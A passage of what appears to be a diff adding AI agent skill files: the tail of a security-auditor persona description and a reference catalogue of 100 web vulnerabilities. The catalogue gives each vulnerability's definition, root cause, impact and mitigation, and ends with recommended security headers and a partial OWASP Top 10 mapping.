- **Supply chain security**: SLSA framework, software bill of materials (SBOM), dependency management
|
||||
- **Secrets management**: HashiCorp Vault, cloud secret managers, secret rotation automation
|
||||
|
||||
### Modern Authentication & Authorization
|
||||
- **Identity protocols**: OAuth 2.0/2.1, OpenID Connect, SAML 2.0, WebAuthn, FIDO2
|
||||
- **JWT security**: Proper implementation, key management, token validation, security best practices
|
||||
- **Middleware validation**: Verifying authentication/authorization "choke points" are actually executing and correctly configured (e.g., correct file naming, exports, and matchers).
|
||||
- **Zero-trust architecture**: Identity-based access, continuous verification, principle of least privilege
|
||||
- **Multi-factor authentication**: TOTP, hardware tokens, biometric authentication, risk-based auth
|
||||
- **Authorization patterns**: RBAC, ABAC, ReBAC, policy engines, fine-grained permissions
|
||||
- **API security**: OAuth scopes, API keys, rate limiting, threat protection
|
||||
|
||||
### OWASP & Vulnerability Management
|
||||
- **OWASP Top 10 (2021)**: Broken access control, cryptographic failures, injection, insecure design
|
||||
- **OWASP ASVS**: Application Security Verification Standard, security requirements
|
||||
- **OWASP SAMM**: Software Assurance Maturity Model, security maturity assessment
|
||||
- **Vulnerability assessment**: Automated scanning, manual testing, penetration testing
|
||||
- **Threat modeling**: STRIDE, PASTA, attack trees, threat intelligence integration
|
||||
- **Risk assessment**: CVSS scoring, business impact analysis, risk prioritization
|
||||
|
||||
### Application Security Testing
|
||||
- **Static analysis (SAST)**: SonarQube, Checkmarx, Veracode, Semgrep, CodeQL
|
||||
- **Dynamic analysis (DAST)**: OWASP ZAP, Burp Suite, Nessus, web application scanning
|
||||
- **Interactive testing (IAST)**: Runtime security testing, hybrid analysis approaches
|
||||
- **Dependency scanning**: Snyk, WhiteSource, OWASP Dependency-Check, GitHub Security
|
||||
- **Container scanning**: Twistlock, Aqua Security, Anchore, cloud-native scanning
|
||||
- **Infrastructure scanning**: Nessus, OpenVAS, cloud security posture management
|
||||
|
||||
### Cloud Security
|
||||
- **Cloud security posture**: AWS Security Hub, Azure Security Center, GCP Security Command Center
|
||||
- **Infrastructure security**: Cloud security groups, network ACLs, IAM policies
|
||||
- **Data protection**: Encryption at rest/in transit, key management, data classification
|
||||
- **Serverless security**: Function security, event-driven security, serverless SAST/DAST
|
||||
- **Container security**: Kubernetes Pod Security Standards, network policies, service mesh security
|
||||
- **Multi-cloud security**: Consistent security policies, cross-cloud identity management
|
||||
|
||||
### Compliance & Governance
|
||||
- **Regulatory frameworks**: GDPR, HIPAA, PCI-DSS, SOC 2, ISO 27001, NIST Cybersecurity Framework
|
||||
- **Compliance automation**: Policy as Code, continuous compliance monitoring, audit trails
|
||||
- **Data governance**: Data classification, privacy by design, data residency requirements
|
||||
- **Security metrics**: KPIs, security scorecards, executive reporting, trend analysis
|
||||
- **Incident response**: NIST incident response framework, forensics, breach notification
|
||||
|
||||
### Secure Coding & Development
|
||||
- **Secure coding standards**: Language-specific security guidelines, secure libraries
|
||||
- **Input validation**: Parameterized queries, input sanitization, output encoding
|
||||
- **IDOR prevention**: Ensuring every update/delete operation verifies ownership, even when using privileged service accounts.
|
||||
- **Encryption implementation**: TLS configuration, symmetric/asymmetric encryption, key management for secrets at rest.
|
||||
- **Security headers**: CSP, HSTS, X-Frame-Options, SameSite cookies, CORP/COEP
|
||||
- **API security**: REST/GraphQL security, rate limiting, input validation, error handling
|
||||
- **Database security**: SQL injection prevention, database encryption, access controls
|
||||
|
||||
### Network & Infrastructure Security
|
||||
- **Network segmentation**: Micro-segmentation, VLANs, security zones, network policies
|
||||
- **Firewall management**: Next-generation firewalls, cloud security groups, network ACLs
|
||||
- **Intrusion detection**: IDS/IPS systems, network monitoring, anomaly detection
|
||||
- **SSRF protection**: Implementing IP pinning and DNS resolution validation to prevent DNS rebinding attacks on internal endpoints.
|
||||
- **VPN security**: Site-to-site VPN, client VPN, WireGuard, IPSec configuration
|
||||
- **DNS security**: DNS filtering, DNSSEC, DNS over HTTPS, malicious domain detection
|
||||
|
||||
### Security Monitoring & Incident Response
|
||||
- **SIEM/SOAR**: Splunk, Elastic Security, IBM QRadar, security orchestration and response
|
||||
- **Log analysis**: Security event correlation, anomaly detection, threat hunting
|
||||
- **Vulnerability management**: Vulnerability scanning, patch management, remediation tracking
|
||||
- **Threat intelligence**: IOC integration, threat feeds, behavioral analysis
|
||||
- **Incident response**: Playbooks, forensics, containment procedures, recovery planning
|
||||
|
||||
### Emerging Security Technologies
|
||||
- **AI/ML security**: Model security, adversarial attacks, privacy-preserving ML
|
||||
- **Quantum-safe cryptography**: Post-quantum cryptographic algorithms, migration planning
|
||||
- **Zero-knowledge proofs**: Privacy-preserving authentication, blockchain security
|
||||
- **Homomorphic encryption**: Privacy-preserving computation, secure data processing
|
||||
- **Confidential computing**: Trusted execution environments, secure enclaves
|
||||
|
||||
### Security Testing & Validation
|
||||
- **Penetration testing**: Web application testing, network testing, social engineering
|
||||
- **Red team exercises**: Advanced persistent threat simulation, attack path analysis
|
||||
- **Bug bounty programs**: Program management, vulnerability triage, reward systems
|
||||
- **Security chaos engineering**: Failure injection, resilience testing, security validation
|
||||
- **Compliance testing**: Regulatory requirement validation, audit preparation
|
||||
|
||||
## Behavioral Traits
|
||||
- Implements defense-in-depth with multiple security layers and controls
|
||||
- Applies principle of least privilege with granular access controls
|
||||
- **Traces data flow across trust boundaries (e.g., Client -> Middleware -> API -> Admin SDK -> Database)**
|
||||
- Never trusts user input and validates everything at multiple layers
|
||||
- Fails securely without information leakage or system compromise
|
||||
- Performs regular dependency scanning and vulnerability management
|
||||
- Focuses on practical, actionable fixes over theoretical security risks
|
||||
- Integrates security early in the development lifecycle (shift-left)
|
||||
- Values automation and continuous security monitoring
|
||||
- Considers business risk and impact in security decision-making
|
||||
- Stays current with emerging threats and security technologies
|
||||
|
||||
## Knowledge Base
|
||||
- OWASP guidelines, frameworks, and security testing methodologies
|
||||
- Modern authentication and authorization protocols and implementations
|
||||
- DevSecOps tools and practices for security automation
|
||||
- Cloud security best practices across AWS, Azure, and GCP
|
||||
- Compliance frameworks and regulatory requirements
|
||||
- Threat modeling and risk assessment methodologies
|
||||
- Security testing tools and techniques
|
||||
- Incident response and forensics procedures
|
||||
|
||||
## Response Approach
|
||||
1. **Assess security requirements** including compliance and regulatory needs
|
||||
2. **Perform threat modeling** to identify potential attack vectors and risks
|
||||
3. **Adversarial Feature Analysis**: Analyze each application feature for logic flaws, specifically looking for ways to modify shared global state.
|
||||
4. **Conduct comprehensive security testing** using appropriate tools and techniques
|
||||
5. **Implement security controls** with defense-in-depth principles
|
||||
6. **Automate security validation** in development and deployment pipelines
|
||||
7. **Set up security monitoring** for continuous threat detection and response
|
||||
8. **Document security architecture** with clear procedures and incident response plans
|
||||
9. **Plan for compliance** with relevant regulatory and industry standards
|
||||
10. **Provide security training** and awareness for development teams
|
||||
|
||||
## Example Interactions
|
||||
- "Conduct comprehensive security audit of microservices architecture with DevSecOps integration"
|
||||
- "Implement zero-trust authentication system with multi-factor authentication and risk-based access"
|
||||
- "Design security pipeline with SAST, DAST, and container scanning for CI/CD workflow"
|
||||
- "Create GDPR-compliant data processing system with privacy by design principles"
|
||||
- "Perform threat modeling for cloud-native application with Kubernetes deployment"
|
||||
- "Implement secure API gateway with OAuth 2.0, rate limiting, and threat protection"
|
||||
- "Design incident response plan with forensics capabilities and breach notification procedures"
|
||||
- "Create security automation with Policy as Code and continuous compliance monitoring"
|
||||
|
||||
## Limitations
|
||||
- Use this skill only when the task clearly matches the scope described above.
|
||||
- Do not treat the output as a substitute for environment-specific validation, testing, or expert review.
|
||||
- Stop and ask for clarification if required inputs, permissions, safety boundaries, or success criteria are missing.
|
||||
+547
@@ -0,0 +1,547 @@
|
||||
---
|
||||
name: top-web-vulnerabilities
|
||||
description: "Provide a comprehensive, structured reference for the 100 most critical web application vulnerabilities organized by category. This skill enables systematic vulnerability identification, impact assessment, and remediation guidance across the full spectrum of web security threats."
|
||||
risk: unknown
|
||||
source: community
|
||||
author: zebbern
|
||||
date_added: "2026-02-27"
|
||||
---
|
||||
|
||||
# Top 100 Web Vulnerabilities Reference
|
||||
|
||||
## Purpose
|
||||
|
||||
Provide a comprehensive, structured reference for the 100 most critical web application vulnerabilities organized by category. This skill enables systematic vulnerability identification, impact assessment, and remediation guidance across the full spectrum of web security threats. Content organized into 15 major vulnerability categories aligned with industry standards and real-world attack patterns.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Basic understanding of web application architecture (client-server model, HTTP protocol)
|
||||
- Familiarity with common web technologies (HTML, JavaScript, SQL, XML, APIs)
|
||||
- Understanding of authentication and authorization concepts
|
||||
- Access to web application security testing tools (Burp Suite, OWASP ZAP)
|
||||
- Knowledge of secure coding principles recommended
|
||||
|
||||
## Outputs and Deliverables
|
||||
|
||||
- Complete vulnerability catalog with definitions, root causes, impacts, and mitigations
|
||||
- Category-based vulnerability groupings for systematic assessment
|
||||
- Quick reference for security testing and remediation
|
||||
- Foundation for vulnerability assessment checklists and security policies
|
||||
|
||||
---
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### Phase 1: Injection Vulnerabilities Assessment
|
||||
|
||||
Evaluate injection attack vectors targeting data processing components:
|
||||
|
||||
**SQL Injection (1)**
|
||||
- Definition: Malicious SQL code inserted into input fields to manipulate database queries
|
||||
- Root Cause: Lack of input validation, improper use of parameterized queries
|
||||
- Impact: Unauthorized data access, data manipulation, database compromise
|
||||
- Mitigation: Use parameterized queries/prepared statements, input validation, least privilege database accounts
|
||||
|
||||
**Cross-Site Scripting - XSS (2)**
|
||||
- Definition: Injection of malicious scripts into web pages viewed by other users
|
||||
- Root Cause: Insufficient output encoding, lack of input sanitization
|
||||
- Impact: Session hijacking, credential theft, website defacement
|
||||
- Mitigation: Output encoding, Content Security Policy (CSP), input sanitization
|
||||
|
||||
**Command Injection (5, 11)**
|
||||
- Definition: Execution of arbitrary system commands through vulnerable applications
|
||||
- Root Cause: Unsanitized user input passed to system shells
|
||||
- Impact: Full system compromise, data exfiltration, lateral movement
|
||||
- Mitigation: Avoid shell execution, whitelist valid commands, strict input validation
|
||||
|
||||
**XML Injection (6), LDAP Injection (7), XPath Injection (8)**
|
||||
- Definition: Manipulation of XML/LDAP/XPath queries through malicious input
|
||||
- Root Cause: Improper input handling in query construction
|
||||
- Impact: Data exposure, authentication bypass, information disclosure
|
||||
- Mitigation: Input validation, parameterized queries, escape special characters
|
||||
|
||||
**Server-Side Template Injection - SSTI (13)**
|
||||
- Definition: Injection of malicious code into template engines
|
||||
- Root Cause: User input embedded directly in template expressions
|
||||
- Impact: Remote code execution, server compromise
|
||||
- Mitigation: Sandbox template engines, avoid user input in templates, strict input validation
|
||||
|
||||
### Phase 2: Authentication and Session Security
|
||||
|
||||
Assess authentication mechanism weaknesses:
|
||||
|
||||
**Session Fixation (14)**
|
||||
- Definition: Attacker sets victim's session ID before authentication
|
||||
- Root Cause: Session ID not regenerated after login
|
||||
- Impact: Session hijacking, unauthorized account access
|
||||
- Mitigation: Regenerate session ID on authentication, use secure session management
|
||||
|
||||
**Brute Force Attack (15)**
|
||||
- Definition: Systematic password guessing using automated tools
|
||||
- Root Cause: Lack of account lockout, rate limiting, or CAPTCHA
|
||||
- Impact: Unauthorized access, credential compromise
|
||||
- Mitigation: Account lockout policies, rate limiting, MFA, CAPTCHA
|
||||
|
||||
**Session Hijacking (16)**
|
||||
- Definition: Attacker steals or predicts valid session tokens
|
||||
- Root Cause: Weak session token generation, insecure transmission
|
||||
- Impact: Account takeover, unauthorized access
|
||||
- Mitigation: Secure random token generation, HTTPS, HttpOnly/Secure cookie flags
|
||||
|
||||
**Credential Stuffing and Reuse (22)**
|
||||
- Definition: Using leaked credentials to access accounts across services
|
||||
- Root Cause: Users reusing passwords, no breach detection
|
||||
- Impact: Mass account compromise, data breaches
|
||||
- Mitigation: MFA, breach password checks, unique credential requirements
|
||||
|
||||
**Insecure "Remember Me" Functionality (85)**
|
||||
- Definition: Weak persistent authentication token implementation
|
||||
- Root Cause: Predictable tokens, inadequate expiration controls
|
||||
- Impact: Unauthorized persistent access, session compromise
|
||||
- Mitigation: Strong token generation, proper expiration, secure storage
|
||||
|
||||
**CAPTCHA Bypass (86)**
|
||||
- Definition: Circumventing bot detection mechanisms
|
||||
- Root Cause: Weak CAPTCHA algorithms, improper validation
|
||||
- Impact: Automated attacks, credential stuffing, spam
|
||||
- Mitigation: reCAPTCHA v3, layered bot detection, rate limiting
|
||||
|
||||
### Phase 3: Sensitive Data Exposure
|
||||
|
||||
Identify data protection failures:
|
||||
|
||||
**IDOR - Insecure Direct Object References (23, 42)**
|
||||
- Definition: Direct access to internal objects via user-supplied references
|
||||
- Root Cause: Missing authorization checks on object access
|
||||
- Impact: Unauthorized data access, privacy breaches
|
||||
- Mitigation: Access control validation, indirect reference maps, authorization checks
|
||||
|
||||
**Data Leakage (24)**
|
||||
- Definition: Inadvertent disclosure of sensitive information
|
||||
- Root Cause: Inadequate data protection, weak access controls
|
||||
- Impact: Privacy breaches, regulatory penalties, reputation damage
|
||||
- Mitigation: DLP solutions, encryption, access controls, security training
|
||||
|
||||
**Unencrypted Data Storage (25)**
|
||||
- Definition: Storing sensitive data without encryption
|
||||
- Root Cause: Failure to implement encryption at rest
|
||||
- Impact: Data breaches if storage compromised
|
||||
- Mitigation: Full-disk encryption, database encryption, secure key management
|
||||
|
||||
**Information Disclosure (33)**
|
||||
- Definition: Exposure of system details through error messages or responses
|
||||
- Root Cause: Verbose error handling, debug information in production
|
||||
- Impact: Reconnaissance for further attacks, credential exposure
|
||||
- Mitigation: Generic error messages, disable debug mode, secure logging
|
||||
|
||||
### Phase 4: Security Misconfiguration
|
||||
|
||||
Assess configuration weaknesses:
|
||||
|
||||
**Missing Security Headers (26)**
|
||||
- Definition: Absence of protective HTTP headers (CSP, X-Frame-Options, HSTS)
|
||||
- Root Cause: Inadequate server configuration
|
||||
- Impact: XSS attacks, clickjacking, protocol downgrade
|
||||
- Mitigation: Implement CSP, X-Content-Type-Options, X-Frame-Options, HSTS
|
||||
|
||||
**Default Passwords (28)**
|
||||
- Definition: Unchanged default credentials on systems/applications
|
||||
- Root Cause: Failure to change vendor defaults
|
||||
- Impact: Unauthorized access, system compromise
|
||||
- Mitigation: Mandatory password changes, strong password policies
|
||||
|
||||
**Directory Listing (29)**
|
||||
- Definition: Web server exposes directory contents
|
||||
- Root Cause: Improper server configuration
|
||||
- Impact: Information disclosure, sensitive file exposure
|
||||
- Mitigation: Disable directory indexing, use default index files
|
||||
|
||||
**Unprotected API Endpoints (30)**
|
||||
- Definition: APIs lacking authentication or authorization
|
||||
- Root Cause: Missing security controls on API routes
|
||||
- Impact: Unauthorized data access, API abuse
|
||||
- Mitigation: OAuth/API keys, access controls, rate limiting
|
||||
|
||||
**Open Ports and Services (31)**
|
||||
- Definition: Unnecessary network services exposed
|
||||
- Root Cause: Failure to minimize attack surface
|
||||
- Impact: Exploitation of vulnerable services
|
||||
- Mitigation: Port scanning audits, firewall rules, service minimization
|
||||
|
||||
**Misconfigured CORS (35)**
|
||||
- Definition: Overly permissive Cross-Origin Resource Sharing policies
|
||||
- Root Cause: Wildcard origins, improper CORS configuration
|
||||
- Impact: Cross-site request attacks, data theft
|
||||
- Mitigation: Whitelist trusted origins, validate CORS headers
|
||||
|
||||
**Unpatched Software (34)**
|
||||
- Definition: Systems running outdated vulnerable software
|
||||
- Root Cause: Neglected patch management
|
||||
- Impact: Exploitation of known vulnerabilities
|
||||
- Mitigation: Patch management program, vulnerability scanning, automated updates
|
||||
|
||||
### Phase 5: XML-Related Vulnerabilities
|
||||
|
||||
Evaluate XML processing security:
|
||||
|
||||
**XXE - XML External Entity Injection (37)**
|
||||
- Definition: Exploitation of XML parsers to access files or internal systems
|
||||
- Root Cause: External entity processing enabled
|
||||
- Impact: File disclosure, SSRF, denial of service
|
||||
- Mitigation: Disable external entities, use safe XML parsers
|
||||
|
||||
**XEE - XML Entity Expansion (38)**
|
||||
- Definition: Excessive entity expansion causing resource exhaustion
|
||||
- Root Cause: Unlimited entity expansion allowed
|
||||
- Impact: Denial of service, parser crashes
|
||||
- Mitigation: Limit entity expansion, configure parser restrictions
|
||||
|
||||
**XML Bomb (Billion Laughs) (39)**
|
||||
- Definition: Crafted XML with nested entities consuming resources
|
||||
- Root Cause: Recursive entity definitions
|
||||
- Impact: Memory exhaustion, denial of service
|
||||
- Mitigation: Entity expansion limits, input size restrictions
|
||||
|
||||
**XML Denial of Service (65)**
|
||||
- Definition: Specially crafted XML causing excessive processing
|
||||
- Root Cause: Complex document structures without limits
|
||||
- Impact: CPU/memory exhaustion, service unavailability
|
||||
- Mitigation: Schema validation, size limits, processing timeouts
|
||||
|
||||
### Phase 6: Broken Access Control
|
||||
|
||||
Assess authorization enforcement:
|
||||
|
||||
**Inadequate Authorization (40)**
|
||||
- Definition: Failure to properly enforce access controls
|
||||
- Root Cause: Weak authorization policies, missing checks
|
||||
- Impact: Unauthorized access to sensitive resources
|
||||
- Mitigation: RBAC, centralized IAM, regular access reviews
|
||||
|
||||
**Privilege Escalation (41)**
|
||||
- Definition: Gaining elevated access beyond intended permissions
|
||||
- Root Cause: Misconfigured permissions, system vulnerabilities
|
||||
- Impact: Full system compromise, data manipulation
|
||||
- Mitigation: Least privilege, regular patching, privilege monitoring
|
||||
|
||||
**Forceful Browsing (43)**
|
||||
- Definition: Direct URL manipulation to access restricted resources
|
||||
- Root Cause: Weak access controls, predictable URLs
|
||||
- Impact: Unauthorized file/directory access
|
||||
- Mitigation: Server-side access controls, unpredictable resource paths
|
||||
|
||||
**Missing Function-Level Access Control (44)**
|
||||
- Definition: Unprotected administrative or privileged functions
|
||||
- Root Cause: Authorization only at UI level
|
||||
- Impact: Unauthorized function execution
|
||||
- Mitigation: Server-side authorization for all functions, RBAC
|
||||
|
||||
### Phase 7: Insecure Deserialization
|
||||
|
||||
Evaluate object serialization security:
|
||||
|
||||
**Remote Code Execution via Deserialization (45)**
|
||||
- Definition: Arbitrary code execution through malicious serialized objects
|
||||
- Root Cause: Untrusted data deserialized without validation
|
||||
- Impact: Complete system compromise, code execution
|
||||
- Mitigation: Avoid deserializing untrusted data, integrity checks, type validation
|
||||
|
||||
**Data Tampering (46)**
|
||||
- Definition: Unauthorized modification of serialized data
|
||||
- Root Cause: Missing integrity verification
|
||||
- Impact: Data corruption, privilege manipulation
|
||||
- Mitigation: Digital signatures, HMAC validation, encryption
|
||||
|
||||
**Object Injection (47)**
|
||||
- Definition: Malicious object instantiation during deserialization
|
||||
- Root Cause: Unsafe deserialization practices
|
||||
- Impact: Code execution, unauthorized access
|
||||
- Mitigation: Type restrictions, class whitelisting, secure libraries
|
||||
|
||||
### Phase 8: API Security Assessment
|
||||
|
||||
Evaluate API-specific vulnerabilities:
|
||||
|
||||
**Insecure API Endpoints (48)**
|
||||
- Definition: APIs without proper security controls
|
||||
- Root Cause: Poor API design, missing authentication
|
||||
- Impact: Data breaches, unauthorized access
|
||||
- Mitigation: OAuth/JWT, HTTPS, input validation, rate limiting
|
||||
|
||||
**API Key Exposure (49)**
|
||||
- Definition: Leaked or exposed API credentials
|
||||
- Root Cause: Hardcoded keys, insecure storage
|
||||
- Impact: Unauthorized API access, abuse
|
||||
- Mitigation: Secure key storage, rotation, environment variables
|
||||
|
||||
**Lack of Rate Limiting (50)**
|
||||
- Definition: No controls on API request frequency
|
||||
- Root Cause: Missing throttling mechanisms
|
||||
- Impact: DoS, API abuse, resource exhaustion
|
||||
- Mitigation: Rate limits per user/IP, throttling, DDoS protection
|
||||
|
||||
**Inadequate Input Validation (51)**
|
||||
- Definition: APIs accepting unvalidated user input
|
||||
- Root Cause: Missing server-side validation
|
||||
- Impact: Injection attacks, data corruption
|
||||
- Mitigation: Strict validation, parameterized queries, WAF
|
||||
|
||||
**API Abuse (75)**
|
||||
- Definition: Exploiting API functionality for malicious purposes
|
||||
- Root Cause: Excessive trust in client input
|
||||
- Impact: Data theft, account takeover, service abuse
|
||||
- Mitigation: Strong authentication, behavior analysis, anomaly detection
|
||||
|
||||
### Phase 9: Communication Security
|
||||
|
||||
Assess transport layer protections:
|
||||
|
||||
**Man-in-the-Middle Attack (52)**
|
||||
- Definition: Interception of communication between parties
|
||||
- Root Cause: Unencrypted channels, compromised networks
|
||||
- Impact: Data theft, session hijacking, impersonation
|
||||
- Mitigation: TLS/SSL, certificate pinning, mutual authentication
|
||||
|
||||
**Insufficient Transport Layer Security (53)**
|
||||
- Definition: Weak or outdated encryption for data in transit
|
||||
- Root Cause: Outdated protocols (SSLv2/3), weak ciphers
|
||||
- Impact: Traffic interception, credential theft
|
||||
- Mitigation: TLS 1.2+, strong cipher suites, HSTS
|
||||
|
||||
**Insecure SSL/TLS Configuration (54)**
|
||||
- Definition: Improperly configured encryption settings
|
||||
- Root Cause: Weak ciphers, missing forward secrecy
|
||||
- Impact: Traffic decryption, MITM attacks
|
||||
- Mitigation: Modern cipher suites, PFS, certificate validation
|
||||
|
||||
**Insecure Communication Protocols (55)**
|
||||
- Definition: Use of unencrypted protocols (HTTP, Telnet, FTP)
|
||||
- Root Cause: Legacy systems, security unawareness
|
||||
- Impact: Traffic sniffing, credential exposure
|
||||
- Mitigation: HTTPS, SSH, SFTP, VPN tunnels
|
||||
|
||||
### Phase 10: Client-Side Vulnerabilities
|
||||
|
||||
Evaluate browser-side security:
|
||||
|
||||
**DOM-based XSS (56)**
|
||||
- Definition: XSS through client-side JavaScript manipulation
|
||||
- Root Cause: Unsafe DOM manipulation with user input
|
||||
- Impact: Session theft, credential harvesting
|
||||
- Mitigation: Safe DOM APIs, CSP, input sanitization
|
||||
|
||||
**Insecure Cross-Origin Communication (57)**
|
||||
- Definition: Improper handling of cross-origin requests
|
||||
- Root Cause: Relaxed CORS/SOP policies
|
||||
- Impact: Data leakage, CSRF attacks
|
||||
- Mitigation: Strict CORS, CSRF tokens, origin validation
|
||||
|
||||
**Browser Cache Poisoning (58)**
|
||||
- Definition: Manipulation of cached content
|
||||
- Root Cause: Weak cache validation
|
||||
- Impact: Malicious content delivery
|
||||
- Mitigation: Cache-Control headers, HTTPS, integrity checks
|
||||
|
||||
**Clickjacking (59, 71)**
|
||||
- Definition: UI redress attack tricking users into clicking hidden elements
|
||||
- Root Cause: Missing frame protection
|
||||
- Impact: Unintended actions, credential theft
|
||||
- Mitigation: X-Frame-Options, CSP frame-ancestors, frame-busting
|
||||
|
||||
**HTML5 Security Issues (60)**
|
||||
- Definition: Vulnerabilities in HTML5 APIs (WebSockets, Storage, Geolocation)
|
||||
- Root Cause: Improper API usage, insufficient validation
|
||||
- Impact: Data leakage, XSS, privacy violations
|
||||
- Mitigation: Secure API usage, input validation, sandboxing
|
||||
|
||||
### Phase 11: Denial of Service Assessment
|
||||
|
||||
Evaluate availability threats:
|
||||
|
||||
**DDoS - Distributed Denial of Service (61)**
|
||||
- Definition: Overwhelming systems with traffic from multiple sources
|
||||
- Root Cause: Botnets, amplification attacks
|
||||
- Impact: Service unavailability, revenue loss
|
||||
- Mitigation: DDoS protection services, rate limiting, CDN
|
||||
|
||||
**Application Layer DoS (62)**
|
||||
- Definition: Targeting application logic to exhaust resources
|
||||
- Root Cause: Inefficient code, resource-intensive operations
|
||||
- Impact: Application unavailability, degraded performance
|
||||
- Mitigation: Rate limiting, caching, WAF, code optimization
|
||||
|
||||
**Resource Exhaustion (63)**
|
||||
- Definition: Depleting CPU, memory, disk, or network resources
|
||||
- Root Cause: Inefficient resource management
|
||||
- Impact: System crashes, service degradation
|
||||
- Mitigation: Resource quotas, monitoring, load balancing
|
||||
|
||||
**Slowloris Attack (64)**
|
||||
- Definition: Keeping connections open with partial HTTP requests
|
||||
- Root Cause: No connection timeouts
|
||||
- Impact: Web server resource exhaustion
|
||||
- Mitigation: Connection timeouts, request limits, reverse proxy
|
||||
|
||||
### Phase 12: Server-Side Request Forgery
|
||||
|
||||
Assess SSRF vulnerabilities:
|
||||
|
||||
**SSRF - Server-Side Request Forgery (66)**
|
||||
- Definition: Manipulating server to make requests to internal resources
|
||||
- Root Cause: Unvalidated user-controlled URLs
|
||||
- Impact: Internal network access, data theft, cloud metadata access
|
||||
- Mitigation: URL whitelisting, network segmentation, egress filtering
|
||||
|
||||
**Blind SSRF (87)**
|
||||
- Definition: SSRF without direct response visibility
|
||||
- Root Cause: Similar to SSRF, harder to detect
|
||||
- Impact: Data exfiltration, internal reconnaissance
|
||||
- Mitigation: Allowlists, WAF, network restrictions
|
||||
|
||||
**Time-Based Blind SSRF (88)**
|
||||
- Definition: Inferring SSRF success through response timing
|
||||
- Root Cause: Processing delays indicating request outcomes
|
||||
- Impact: Prolonged exploitation, detection evasion
|
||||
- Mitigation: Request timeouts, anomaly detection, timing monitoring
|
||||
|
||||
### Phase 13: Additional Web Vulnerabilities
|
||||
|
||||
| # | Vulnerability | Root Cause | Impact | Mitigation |
|
||||
|---|--------------|-----------|--------|------------|
|
||||
| 67 | HTTP Parameter Pollution | Inconsistent parsing | Injection, ACL bypass | Strict parsing, validation |
|
||||
| 68 | Insecure Redirects | Unvalidated targets | Phishing, malware | Whitelist destinations |
|
||||
| 69 | File Inclusion (LFI/RFI) | Unvalidated paths | Code exec, disclosure | Whitelist files, disable RFI |
|
||||
| 70 | Security Header Bypass | Misconfigured headers | XSS, clickjacking | Proper headers, audits |
|
||||
| 72 | Inadequate Session Timeout | Excessive timeouts | Session hijacking | Idle termination, timeouts |
|
||||
| 73 | Insufficient Logging | Missing infrastructure | Detection gaps | SIEM, alerting |
|
||||
| 74 | Business Logic Flaws | Insecure design | Fraud, unauthorized ops | Threat modeling, testing |
|
||||
|
||||
### Phase 14: Mobile and IoT Security
|
||||
|
||||
| # | Vulnerability | Root Cause | Impact | Mitigation |
|
||||
|---|--------------|-----------|--------|------------|
|
||||
| 76 | Insecure Mobile Storage | Plain text, weak crypto | Data theft | Keychain/Keystore, encrypt |
|
||||
| 77 | Insecure Mobile Transmission | HTTP, cert failures | Traffic interception | TLS, cert pinning |
|
||||
| 78 | Insecure Mobile APIs | Missing auth/validation | Data exposure | OAuth/JWT, validation |
|
||||
| 79 | App Reverse Engineering | Hardcoded creds | Credential theft | Obfuscation, RASP |
|
||||
| 80 | IoT Management Issues | Weak auth, no TLS | Device takeover | Strong auth, TLS |
|
||||
| 81 | Weak IoT Authentication | Default passwords | Unauthorized access | Unique creds, MFA |
|
||||
| 82 | IoT Vulnerabilities | Design flaws, old firmware | Botnet recruitment | Updates, segmentation |
|
||||
| 83 | Smart Home Access | Insecure defaults | Privacy invasion | MFA, segmentation |
|
||||
| 84 | IoT Privacy Issues | Excessive collection | Surveillance | Data minimization |
|
||||
|
||||
### Phase 15: Advanced and Zero-Day Threats
|
||||
|
||||
| # | Vulnerability | Root Cause | Impact | Mitigation |
|
||||
|---|--------------|-----------|--------|------------|
|
||||
| 89 | MIME Sniffing | Missing headers | XSS, spoofing | X-Content-Type-Options |
|
||||
| 91 | CSP Bypass | Weak config | XSS despite CSP | Strict CSP, nonces |
|
||||
| 92 | Inconsistent Validation | Decentralized logic | Control bypass | Centralized validation |
|
||||
| 93 | Race Conditions | Missing sync | Privilege escalation | Proper locking |
|
||||
| 94-95 | Business Logic Flaws | Missing validation | Financial fraud | Server-side validation |
|
||||
| 96 | Account Enumeration | Different responses | Targeted attacks | Uniform responses |
|
||||
| 98-99 | Unpatched Vulnerabilities | Patch delays | Zero-day exploitation | Patch management |
|
||||
| 100 | Zero-Day Exploits | Unknown vulns | Unmitigated attacks | Defense in depth |
|
||||
|
||||
---
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### Vulnerability Categories Summary
|
||||
|
||||
| Category | Vulnerability Numbers | Key Controls |
|
||||
|----------|----------------------|--------------|
|
||||
| Injection | 1-13 | Parameterized queries, input validation, output encoding |
|
||||
| Authentication | 14-23, 85-86 | MFA, session management, account lockout |
|
||||
| Data Exposure | 24-27 | Encryption at rest/transit, access controls, DLP |
|
||||
| Misconfiguration | 28-36 | Secure defaults, hardening, patching |
|
||||
| XML | 37-39, 65 | Disable external entities, limit expansion |
|
||||
| Access Control | 40-44 | RBAC, least privilege, authorization checks |
|
||||
| Deserialization | 45-47 | Avoid untrusted data, integrity validation |
|
||||
| API Security | 48-51, 75 | OAuth, rate limiting, input validation |
|
||||
| Communication | 52-55 | TLS 1.2+, certificate validation, HTTPS |
|
||||
| Client-Side | 56-60 | CSP, X-Frame-Options, safe DOM |
|
||||
| DoS | 61-65 | Rate limiting, DDoS protection, resource limits |
|
||||
| SSRF | 66, 87-88 | URL whitelisting, egress filtering |
|
||||
| Mobile/IoT | 76-84 | Encryption, authentication, secure storage |
|
||||
| Business Logic | 74, 92-97 | Threat modeling, logic testing |
|
||||
| Zero-Day | 98-100 | Defense in depth, threat intelligence |
|
||||
|
||||
### Critical Security Headers
|
||||
|
||||
```
|
||||
Content-Security-Policy: default-src 'self'; script-src 'self'
|
||||
X-Content-Type-Options: nosniff
|
||||
X-Frame-Options: DENY
|
||||
X-XSS-Protection: 1; mode=block
|
||||
Strict-Transport-Security: max-age=31536000; includeSubDomains
|
||||
Referrer-Policy: strict-origin-when-cross-origin
|
||||
Permissions-Policy: geolocation=(), microphone=()
|
||||
```
|
||||
|
||||
### OWASP Top 10 Mapping
|
||||
|
||||
| OWASP 2021 | Related Vulnerabilities |
|
||||
|------------|------------------------|
|
||||
| A01: Broken Access Control | 40-44, 23, 74 |
|
||||
| A02: Cryptographic Failures | 24-25, 53-55 |
|
||||
| A03: Injection | 1-13, 37-39 |
|
||||
| A04: Insecure Design | 74, 92-97 |
|
||||
| A05: Security Misconfiguration | 26-36 |
|
||||
| A06: Vulnerable Components | 34, 98-100 |
|
||||
| A07: Auth Failures | 14-23, 85-86 |
|
||||
